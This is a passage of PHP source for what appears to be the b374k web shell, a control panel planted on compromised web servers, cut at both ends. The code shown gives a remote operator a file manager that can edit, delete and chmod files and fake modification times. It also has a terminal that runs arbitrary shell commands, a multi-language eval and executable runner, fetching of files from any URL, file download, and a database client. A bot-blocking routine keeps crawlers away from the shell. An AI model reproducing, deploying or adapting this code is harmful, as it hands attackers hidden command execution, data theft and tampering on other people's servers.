onclick=\\"edit_save_raw();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_raw\');\\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_hex\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_hex();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editHexResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_hex\');\\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id=\'viewFile\' class=\'boxtbl\'> <tr><td style=\'width:120px;\'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path=\'".html_safe($file)."\'><td colspan=\'2\'> <span class=\'navigate button\' style=\'width:120px;\'>explorer</span> <span class=\'action button\' style=\'width:120px;\'>action</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'raw\');hide_box();\\">raw</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'code\');hide_box();\\">code</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'hex\');hide_box();\\">hex</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'image\');hide_box();\\">image</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'multimedia\');hide_box();\\">multimedia</span> </td></tr> <tr><td colspan=\'2\'><div id=\'viewFilecontent\'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; } } if(!function_exists(\'get_writabledir\')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array(\'TMP\', \'TEMP\', \'TMPDIR\') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,\'\'); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; } } if(!function_exists(\'get_drives\')){ function get_drives(){ $drives = ""; $v = explode("\\\\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\\\\")){ $drives .= "<a class=\'navbar\' data-path=\'".$letter.":\\\\\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class=\'drive-letter\'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; } } if(!function_exists(\'show_all_files\')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!=\'.\')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id=\'xplTable\' class=\'dataView sortable\'><thead>"; $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'col-name\'>name</th><th class=\'col-size\'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class=\'col-".$k."\'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\\"><td><div class=\'cBox".$cboxException."\'></div></td> <td style=\'white-space:normal;\'><a class=\'navigate\'>[ ".html_safe($d)." ]</a><span class=\'".$action." floatRight\'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($d)."\'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\\"".html_safe(realpath($f))."\\"><td><div class=\'cBox\'></div></td> <td style=\'white-space:normal;\'><a class=\'view\'>".html_safe($f)."</a><span class=\'action floatRight\'>action</span></td> <td title=\'".filesize($f)."\'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($f)."\'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class=\'cBoxAll\'></div></td><td> <select id=\'massAction\' class=\'colSpan\'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan=\'".$colspan."\'></td></tr> <tr><td></td><td colspan=\'".++$colspan."\'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class=\'xplSelected\'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; } } if(!function_exists(\'eval_get_supported\')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); } } if(!function_exists(\'eval_go\')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)\\n"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; if(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; } } if(!function_exists(\'output\')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); } } ?><?php block_bot(); auth(); chdir(get_cwd()); $nav = get_nav(get_cwd()); $p = array_map("rawurldecode", get_post()); $cwd = html_safe(get_cwd()); $GLOBALS[\'module\'] = array(); $explorer_content = ""; if(isset($p[\'viewEntry\'])){ $path = trim($p[\'viewEntry\']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); } } else $explorer_content = show_all_files(get_cwd()); $GLOBALS[\'module\'][\'explorer\'][\'id\'] = "explorer"; $GLOBALS[\'module\'][\'explorer\'][\'title\'] = "Explorer"; $GLOBALS[\'module\'][\'explorer\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'explorer\'][\'content\'] = $explorer_content; $GLOBALS[\'module\'][\'terminal\'][\'id\'] = "terminal"; $GLOBALS[\'module\'][\'terminal\'][\'title\'] = "Terminal"; $GLOBALS[\'module\'][\'terminal\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#terminalOutput\').html()==\'\')) $(\'#terminalInput\').focus();"; $GLOBALS[\'module\'][\'terminal\'][\'content\'] = "<pre id=\'terminalOutput\'></pre><table id=\'terminalPrompt\'><tr><td class=\'colFit\'><span id=\'terminalCwd\' class=\'strong\'>".get_cwd()."&gt;</span</td><td id=\'terminalCommand\'><input type=\'text\' id=\'terminalInput\' class=\'floatLeft\' spellcheck=\'false\'></td></tr></table>"; $GLOBALS[\'module\'][\'eval\'][\'id\'] = "eval"; $GLOBALS[\'module\'][\'eval\'][\'title\'] = "Eval"; $GLOBALS[\'module\'][\'eval\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#evalOutput\').html()==\'You can also press ctrl+enter to submit\')) $(\'#evalInput\').focus();"; $GLOBALS[\'module\'][\'eval\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'4\'><p class=\'boxtitle\'>Eval</p></th></tr> </thead> <tbody> <tr><td colspan=\'4\'><textarea id=\'evalInput\' spellcheck=\'false\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr id=\'evalAdditional\'><td colspan=\'4\'> <input type=\'text\' id=\'evalOptions\' value=\'Options/Switches\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> <input type=\'text\' id=\'evalArguments\' value=\'Arguments\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> </td></tr> <tr> <td style=\'width:144px;\'> <select id=\'evalType\'> </select> </td> <td colspan=\'3\'> <span id=\'evalSubmit\' style=\'width:120px;\' class=\'button\' onclick=\\"eval_go();\\">run</span> </td> </tr> <tr><td colspan=\'4\'><pre id=\'evalOutput\'>You can also press ctrl+enter to submit</pre></td</tr> </tbody> </table> "; $res = ""; if(isset($p[\'cd\'])){ $path = $p[\'cd\']; if(trim($path)==\'\') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p[\'showfiles\'])&&($p[\'showfiles\']==\'true\')){ $res .= show_all_files($path); } } else $res = "error"; output($res); } elseif(isset($p[\'viewFile\']) && isset($p[\'viewType\'])){ $path = trim($p[\'viewFile\']); $type = trim($p[\'viewType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res); } elseif(isset($p[\'renameFile\']) && isset($p[\'renameFileTo\'])){ $renameFile = trim($p[\'renameFile\']); $renameFileTo = trim($p[\'renameFileTo\']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p[\'newFolder\'])){ $newFolder = trim($p[\'newFolder\']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res); } elseif(isset($p[\'newFile\'])){ $newFile = trim($p[\'newFile\']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res); } elseif(isset($p[\'delete\'])){ $path = trim($p[\'delete\']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res); } elseif(isset($p[\'editType\'])&&isset($p[\'editFilename\'])&&isset($p[\'editInput\'])&&isset($p[\'preserveTimestamp\'])){ $editFilename = trim($p[\'editFilename\']); $editInput = trim($p[\'editInput\']); $editType = trim($p[\'editType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); $time = filemtime($editFilename); if($editType==\'hex\') $editInput = pack("H*" , preg_replace("/\\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp==\'true\') touch($editFilename, $time); } else $res = "error"; output($res); } elseif(isset($p[\'findType\'])){ $findType = trim($p[\'findType\']); $findPath = trim($p[\'findPath\']); $findName = trim($p[\'findName\']); $findNameRegex = trim($p[\'findNameRegex\']); $findNameInsensitive = trim($p[\'findNameInsensitive\']); $findContent = trim($p[\'findContent\']); $findContentRegex = trim($p[\'findContentRegex\']); $findContentInsensitive = trim($p[\'findContentInsensitive\']); $findReadable = trim($p[\'findReadable\']); $findWritable = trim($p[\'findWritable\']); $findExecutable = trim($p[\'findExecutable\']); $candidate = get_all_files($findPath); if($findType==\'file\') $candidate = array_filter($candidate, "is_file"); elseif($findType==\'folder\') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($k)."\' onclick=\'view_entry(this);\'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res); } elseif(isset($p[\'ulType\'])){ $ulSaveTo = trim($p[\'ulSaveTo\']); $ulFilename = trim($p[\'ulFilename\']); if($p[\'ulType\']==\'comp\'){ $ulFile = $_FILES[\'ulFile\']; if(empty($ulFilename)) $ulFilename = $ulFile[\'name\']; if(is_uploaded_file($ulFile[\'tmp_name\'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile[\'tmp_name\'], $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p[\'ulType\']==\'url\'){ $ulFile = trim($p[\'ulFile\']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p[\'download\'])){ $file = trim($p[\'download\']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\\"".basename($file)."\\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); } } elseif(isset($p[\'multimedia\'])){ $file = trim($p[\'multimedia\']); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); } } elseif(isset($p[\'massType\'])&&isset($p[\'massBuffer\'])&&isset($p[\'massPath\'])&&isset($p[\'massValue\'])){ $massType = trim($p[\'massType\']); $massBuffer = trim($p[\'massBuffer\']); $massPath = realpath($p[\'massPath\']).DIRECTORY_SEPARATOR; $massValue = trim($p[\'massValue\']); $counter = 0; $massBufferArr = explode("\\n", $massBuffer); if(($massType==\'tar\')||($massType==\'targz\')||($massType==\'zip\')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType==\'delete\'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType==\'cut\'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType==\'copy\'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType==\'untar\')||($massType==\'untargz\')||($massType==\'unzip\')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType==\'chmod\'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType==\'chown\'){ if(chown($path, $massValue)) $counter++; } elseif($massType==\'touch\'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output(\'error\'); } elseif(isset($p[\'viewFileorFolder\'])){ $entry = $p[\'viewFileorFolder\']; if(is_file($entry)) output(\'file\'); elseif(is_dir($entry)) output(\'folder\'); output(\'error\'); } elseif(isset($p[\'terminalInput\'])){ output(html_safe(execute($p[\'terminalInput\']))); } elseif(isset($p[\'evalInput\']) && isset($p[\'evalType\'])){ $evalInput = $p[\'evalInput\']; $evalOptions = (isset($p[\'evalOptions\']))? $p[\'evalOptions\']:""; $evalArguments = (isset($p[\'evalArguments\']))? $p[\'evalArguments\']:""; $evalType = $p[\'evalType\']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p[\'evalGetSupported\'])){ $res = eval_get_supported(); output($res); } ?><?php $GLOBALS[\'module\'][\'convert\'][\'id\'] = "convert"; $GLOBALS[\'module\'][\'convert\'][\'title\'] = "Convert"; $GLOBALS[\'module\'][\'convert\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#decodeResult\').children().length==1)) $(\'#decodeStr\').focus();"; $GLOBALS[\'module\'][\'convert\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Convert</p></th></tr> </thead> <tbody> <tr><td colspan=\'2\'><textarea style=\'height:140px;min-height:140px;\' id=\'decodeStr\'></textarea></td></tr> <tr><td colspan=\'2\'><span class=\'button\' onclick=\'decode_go();\'>convert</span></td></tr> </tbody> <tfoot id=\'decodeResult\'><tr><td colspan=\'2\'>You can also press ctrl+enter to submit</td></tr></tfoot> </table>"; if(!function_exists(\'decode\')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists(\'hash_algos\')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo==\'md5\')||($algo==\'sha1\')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; } } if(!function_exists(\'decode_line\')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class=\'colFit\'>".$type."</td><td>"; if($inputtype==\'input\'){ $res .= "<input type=\'text\' value=\'".html_safe($result)."\' ondblclick=\'this.select();\'>"; } else{ $res .= "<textarea style=\'height:80px;min-height:80px;\' ondblclick=\'this.select();\'>".html_safe($result)."</textarea>"; } return $res; } } if(isset($p[\'decodeStr\'])){ $decodeStr = $p[\'decodeStr\']; output(decode($decodeStr)); } ?><?php $GLOBALS[\'module\'][\'database\'][\'id\'] = "database"; $GLOBALS[\'module\'][\'database\'][\'title\'] = "Database"; $GLOBALS[\'module\'][\'database\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'database\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'3\'><p class=\'boxtitle\'>Connect</p></th></tr> </thead> <tbody> <tr class=\'dbHostRow\'><td style=\'width:144px\' class=\'dbHostLbl\'>Host</td><td colspan=\'2\'><input type=\'text\' id=\'dbHost\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbUserRow\'><td>Username</td><td colspan=\'2\'><input type=\'text\' id=\'dbUser\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPassRow\'><td>Password</td><td colspan=\'2\'><input type=\'text\' id=\'dbPass\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPortRow\'><td>Port (Optional)</td><td colspan=\'2\'><input type=\'text\' id=\'dbPort\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> </tbody> <tfoot> <tr class=\'dbConnectRow\'> <td style=\'width:144px;\'> <select id=\'dbType\'> </select> </td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_connect();\\">connect</span></td> <td class=\'dbError\'></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td colspan=\'3\'><textarea id=\'dbQuery\' style=\'min-height:140px;height:140px;\'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_run();\\">run</span></td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_disconnect();\\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class=\'strong\'>(</span> ; <span class=\'strong\'>)</span></td> </tr> </tfoot> </table> <div id=\'dbBottom\' style=\'display:none;\'> <br> <table class=\'border\' style=\'padding:0;\'><tr><td id=\'dbNav\' class=\'colFit borderright\' style=\'vertical-align:top;\'></td><td id=\'dbResult\' style=\'vertical-align:top;\'></td></tr></table> </div> "; if(!function_exists(\'sql_connect\')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists(\'mysql_connect\')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_connect\')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists(\'mssql_connect\')) return @mssql_connect($sqlhost, 